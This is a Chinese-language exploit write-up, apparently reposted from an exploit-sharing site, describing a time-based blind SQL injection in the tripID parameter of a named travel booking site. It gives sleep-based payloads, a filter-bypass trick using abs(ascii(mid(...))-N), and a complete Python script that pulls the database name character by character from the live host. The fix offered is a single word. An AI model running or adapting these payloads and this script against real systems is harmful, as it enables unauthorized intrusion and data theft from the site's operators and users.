华为爱旅主站盲注绕过过滤

站点：http://www.hwtrip.com/

注入点：

URL:http://www.hwtrip.com/v3/trip/order/ticketfill

post：priceID%5b2399%5d=0&tripID=

参数：tripID=

延迟10s：

priceID[2399]=0&tripID=if(now()=sysdate(),sleep(10),0)#
 

网站上是存在过滤的，if(ascii(mid(version(),1,1)) = 53,sleep(5),0)# 返回服务器错误，

构造if(now()=sysdate(),sleep(abs(ascii(mid(lower(version()),1,1))-53)),0)#绕过

当version的第一位ascii减去52时：
 

当version的第一位ascii减去53时：
 

这样可以通过返回的延时来逐位确定

得到database()：hwtrip**<还有几位没跑，如果不确定，可以使用如下脚本验证>
 

附上验证脚本：

#!/usr/bin/python
#coding:utf_8
import httplib
import time
import urllib
import sys
import random


headers = {"Content-type": "application/x-www-form-urlencoded",  
           'Accept-Language':'zh-CN,zh;q=0.8',  
           'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0)',  
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
           "Connection": "close",  
           "Cache-Control": "no-cache"}
post_data = {"priceID[2399]":'0'     
             }
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
base_url = "/v3/trip/order/ticketfill"
user = ''
def sql():
    
    global post_data
    global user
    
    cookie = raw_input("pls input your cookie:")
    headers["Cookie"] = cookie
    
    for i in range(1,22):
        for payload in payloads:
            getuser = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(database()),%d,1))-%d)),0)#" % (i,ord(payload))            
            post_data["tripID"] = getuser   
    
            postdata = urllib.urlencode(post_data)
            conn = httplib.HTTPConnection('www.hwtrip.com',80,timeout=60)
            conn.request('POST', base_url, postdata, headers)
            now_time = time.time()
            html_contet = conn.getresponse().read().decode('utf-8')
#            print html_contet
    
            if time.time() - now_time < 1:
                user += payload
                sys.stdout.write('/r[In Progress]' + user +'/n')
                sys.stdout.flush()
                break
            else:
                print 'WAITING...' + str(random.randint(1,100))
if __name__ == "__main__":
    sql()
    print '/n[Done]MySQL user is ' + user
#    print time.strftime('%H:%M:%S', time.localtime())

解决方案：

过滤

原文地址:https://exploits.77169.com/2015/20150330234326.shtm